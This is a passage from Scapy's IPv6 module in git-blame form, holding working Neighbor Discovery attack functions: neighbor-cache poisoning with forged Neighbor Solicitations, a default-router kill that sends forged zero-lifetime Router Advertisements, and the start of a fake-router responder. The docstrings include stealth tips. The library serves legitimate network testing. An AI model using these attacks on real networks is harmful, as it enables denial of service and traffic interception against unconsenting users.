3596af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                           inter=1, iface=None):
3597af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3598af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    The main purpose of this function is to send fake Neighbor Solicitations
3599af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    messages to a victim, in order to either create a new entry in its neighbor
3600af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    cache or update an existing one. In section 7.2.3 of RFC 4861, it is stated
3601af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    that a node SHOULD create the entry or update an existing one (if it is not
3602af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    currently performing DAD for the target of the NS). The entry's reachability
3603af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    state is set to STALE.
3604af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3605af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    The two main parameters of the function are the source link-layer address
3606af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    (carried by the Source Link-Layer Address option in the NS) and the
3607af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    source address of the packet.
3608af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3609af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Unlike some other NDP_Attack_* function, this one is not based on a
3610af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    stimulus/response model. When called, it sends the same NS packet in loop
3611af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    every second (the default)
3612af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3613af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Following arguments can be used to change the format of the packets:
3614af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3615af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    src_lladdr: the MAC address used in the Source Link-Layer Address option
3616af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         included in the NS packet. This is the address that the peer should
3617af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         associate in its neighbor cache with the IPv6 source address of the
3618af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         packet. If None is provided, the mac address of the interface is
3619af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         used.
3620af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3621af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    src: the IPv6 address used as source of the packet. If None is provided,
3622af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         an address associated with the emitting interface will be used
3623af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         (based on the destination address of the packet).
3624af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3625af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    target: the target address of the NS packet. If no value is provided,
3626af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         a dummy address (2001:db8::1) is used. The value of the target
3627af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         has a direct impact on the destination address of the packet if it
3628af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         is not overridden. By default, the solicited-node multicast address
3629af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         associated with the target is used as destination address of the
3630af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         packet. Consider specifying a specific destination address if you
3631af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         intend to use a target address different than the one of the victim.
3632af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3633af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    dst: The destination address of the NS. By default, the solicited node
3634af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         multicast address associated with the target address (see previous
3635af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         parameter) is used if no specific value is provided. The victim
3636af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         is not expected to check the destination address of the packet,
3637af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         so using a multicast address like ff02::1 should work if you want
3638af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         the attack to target all hosts on the link. On the contrary, if
3639af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         you want to be more stealth, you should provide the target address
3640af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         for this parameter in order for the packet to be sent only to the
3641af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         victim.
3642af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3643af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    src_mac: the MAC address used as source of the packet. By default, this
3644af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         is the address of the interface. If you want to be more stealth,
3645af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         feel free to use something else. Note that this address is not the
3646af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         that the victim will use to populate its neighbor cache.
3647af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3648af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    dst_mac: The MAC address used as destination address of the packet. If
3649af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         the IPv6 destination address is multicast (all-nodes, solicited
3650af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         node, ...), it will be computed. If the destination address is
3651af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         unicast, a neighbor solicitation will be performed to get the
3652af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         associated address. If you want the attack to be stealth, you
3653af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         can provide the MAC address using this parameter.
3654af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3655af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    loop: By default, this parameter is True, indicating that NS packets
3656af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         will be sent in loop, separated by 'inter' seconds (see below).
3657af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         When set to False, a single packet is sent.
3658af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3659af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    inter: When loop parameter is True (the default), this parameter provides
3660af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         the interval in seconds used for sending NS packets.
3661af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3662af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    iface: to force the sending interface.
3663af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3664af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3665af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if not iface:
3666af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        iface = conf.iface
3667af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3668af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    # Use provided MAC address as source link-layer address option
3669af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    # or the MAC address of the interface if none is provided.
3670af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if not src_lladdr:
3671af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        src_lladdr = get_if_hwaddr(iface)
3672af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3673af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    # Prepare packets parameters
3674af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    ether_params = {}
3675af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if src_mac:
3676af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        ether_params["src"] = src_mac
3677af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3678af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if dst_mac:
3679af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        ether_params["dst"] = dst_mac
3680af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3681af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    ipv6_params = {}
3682af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if src:
3683af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        ipv6_params["src"] = src
3684af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if dst:
3685af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        ipv6_params["dst"] = dst
3686af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    else:
3687af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Compute the solicited-node multicast address
3688af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # associated with the target address.
3689af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        tmp = inet_ntop(socket.AF_INET6,
3690af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                        in6_getnsma(inet_pton(socket.AF_INET6, target)))
3691af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        ipv6_params["dst"] = tmp
3692af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3693af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    pkt = Ether(**ether_params)
3694af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    pkt /= IPv6(**ipv6_params)
3695af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    pkt /= ICMPv6ND_NS(tgt=target)
3696af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    pkt /= ICMPv6NDOptSrcLLAddr(lladdr=src_lladdr)
3697af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3698af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sendp(pkt, inter=inter, loop=loop, iface=iface, verbose=0)
3699af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3700af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3701af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalarddef NDP_Attack_Kill_Default_Router(iface=None, mac_src_filter=None,
3702af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                                   ip_src_filter=None, reply_mac=None,
3703af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                                   tgt_mac=None):
3704af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3705af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    The purpose of the function is to monitor incoming RA messages
3706af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sent by default routers (RA with a non-zero Router Lifetime values)
3707af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    and invalidate them by immediately replying with fake RA messages
3708af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    advertising a zero Router Lifetime value.
3709af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3710af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    The result on receivers is that the router is immediately invalidated,
3711af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    i.e. the associated entry is discarded from the default router list
3712af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    and destination cache is updated to reflect the change.
3713af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3714af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    By default, the function considers all RA messages with a non-zero
3715af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Router Lifetime value but provides configuration knobs to allow
3716af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    filtering RA sent by specific routers (Ethernet source address).
3717af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    With regard to emission, the multicast all-nodes address is used
3718af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    by default but a specific target can be used, in order for the DoS to
3719af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    apply only to a specific host.
3720af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3721af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    More precisely, following arguments can be used to change the behavior:
3722af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3723af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    iface: a specific interface (e.g. "eth0") of the system on which the
3724af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         DoS should be launched. If None is provided conf.iface is used.
3725af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3726af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
3727af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         Only RA messages received from this source will trigger replies.
3728af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         If other default routers advertised their presence on the link,
3729af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         their clients will not be impacted by the attack. The default
3730af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         value is None: the DoS is not limited to a specific mac address.
3731af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3732af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter
3733af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         on. Only RA messages received from this source address will trigger
3734af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         replies. If other default routers advertised their presence on the
3735af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         link, their clients will not be impacted by the attack. The default
3736af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         value is None: the DoS is not limited to a specific IPv6 source
3737af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         address.
3738af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3739af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    reply_mac: allow specifying a specific source mac address for the reply,
3740af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         i.e. to prevent the use of the mac address of the interface.
3741af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3742af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    tgt_mac: allow limiting the effect of the DoS to a specific host,
3743af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         by sending the "invalidating RA" only to its mac address.
3744af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3745af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3746af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    def is_request(req, mac_src_filter, ip_src_filter):
3747af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3748af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        Check if packet req is a request
3749af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3750af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3751af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if not (Ether in req and IPv6 in req and ICMPv6ND_RA in req):
3752af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3753af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3754af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        mac_src = req[Ether].src
3755af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if mac_src_filter and mac_src != mac_src_filter:
3756af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3757af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3758a3618a09887e39536009036d2e88341c61d4d385gpotter        ip_src = req[IPv6].src
3759af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if ip_src_filter and ip_src != ip_src_filter:
3760af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3761af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3762af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Check if this is an advertisement for a Default Router
3763af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # by looking at Router Lifetime value
3764af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if req[ICMPv6ND_RA].routerlifetime == 0:
3765af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3766af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3767af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        return 1
3768af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3769af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    def ra_reply_callback(req, reply_mac, tgt_mac, iface):
3770af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3771af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        Callback that sends an RA with a 0 lifetime
3772af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3773af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3774af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Let's build a reply and send it
3775af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3776a3618a09887e39536009036d2e88341c61d4d385gpotter        src = req[IPv6].src
3777af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3778af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Prepare packets parameters
3779af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        ether_params = {}
3780af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if reply_mac:
3781af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            ether_params["src"] = reply_mac
3782af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3783af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if tgt_mac:
3784af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            ether_params["dst"] = tgt_mac
3785af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3786af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Basis of fake RA (high pref, zero lifetime)
3787af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep = Ether(**ether_params)/IPv6(src=src, dst="ff02::1")
3788af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep /= ICMPv6ND_RA(prf=1, routerlifetime=0)
3789af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3790af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Add it a PIO from the request ...
3791af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        tmp = req
3792af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        while ICMPv6NDOptPrefixInfo in tmp:
3793af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            pio = tmp[ICMPv6NDOptPrefixInfo]
3794af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            tmp = pio.payload
3795af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            del(pio.payload)
3796af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            rep /= pio
3797af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3798af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # ... and source link layer address option
3799af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if ICMPv6NDOptSrcLLAddr in req:
3800af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            mac = req[ICMPv6NDOptSrcLLAddr].lladdr
3801af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        else:
3802af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            mac = req[Ether].src
3803af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep /= ICMPv6NDOptSrcLLAddr(lladdr=mac)
3804af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3805af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        sendp(rep, iface=iface, verbose=0)
3806af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3807b72a0b59db7b6fa0726ffa22da3b88679bffe69cgpotter        print("Fake RA sent with source address %s" % src)
3808af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3809af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3810af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if not iface:
3811af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        iface = conf.iface
3812af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    # To prevent sniffing our own traffic
3813af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if not reply_mac:
3814af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        reply_mac = get_if_hwaddr(iface)
3815af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sniff_filter = "icmp6 and not ether src %s" % reply_mac
3816af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3817af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sniff(store=0,
3818af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          filter=sniff_filter,
3819af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter),
3820af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          prn=lambda x: ra_reply_callback(x, reply_mac, tgt_mac, iface),
3821af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          iface=iface)
3822af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3823af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3824af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalarddef NDP_Attack_Fake_Router(ra, iface=None, mac_src_filter=None,
3825af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                           ip_src_filter=None):
3826af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3827af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    The purpose of this function is to send provided RA message at layer 2
3828af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    (i.e. providing a packet starting with IPv6 will not work) in response
3829af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    to received RS messages. In the end, the function is a simple wrapper
3830af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    around sendp() that monitor the link for RS messages.
3831af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3832af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    It is probably better explained with an example:
3833af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3834af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      >>> ra  = Ether()/IPv6()/ICMPv6ND_RA()
3835af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      >>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:1::", prefixlen=64)
3836af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      >>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:2::", prefixlen=64)
3837af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      >>> ra /= ICMPv6NDOptSrcLLAddr(lladdr="00:11:22:33:44:55")
3838af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      >>> NDP_Attack_Fake_Router(ra, iface="eth0")
3839af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      Fake RA sent in response to RS from fe80::213:58ff:fe8c:b573
3840af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      Fake RA sent in response to RS from fe80::213:72ff:fe8c:b9ae
3841af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      ...
3842af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3843af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Following arguments can be used to change the behavior:
3844af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3845af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      ra: the RA message to send in response to received RS message.
3846af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3847af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      iface: a specific interface (e.g. "eth0") of the system on which the
3848af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard             DoS should be launched. If none is provided, conf.iface is
3849af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard             used.
3850af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3851af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
3852af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         Only RS messages received from this source will trigger a reply.
3853af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         Note that no changes to provided RA is done which imply that if
3854af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         you intend to target only the source of the RS using this option,
3855af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         you will have to set the Ethernet destination address to the same
3856af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         value in your RA.
3857af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         The default value for this parameter is None: no filtering on the
3858af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         source of RS is done.
3859af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3860af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter
3861af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         on. Only RS messages received from this source address will trigger
3862af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         replies. Same comment as for previous argument apply: if you use
3863af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         the option, you will probably want to set a specific Ethernet
3864af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         destination address in the RA.
3865af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3866af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3867af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    def is_request(req, mac_src_filter, ip_src_filter):
3868af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3869af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        Check if packet req is a request
3870af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3871af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3872af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if not (Ether in req and IPv6 in req and ICMPv6ND_RS in req):
3873af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3874af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3875af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        mac_src = req[Ether].src
3876af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if mac_src_filter and mac_src != mac_src_filter:
3877af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3878af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3879a3618a09887e39536009036d2e88341c61d4d385gpotter        ip_src = req[IPv6].src
3880af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if ip_src_filter and ip_src != ip_src_filter:
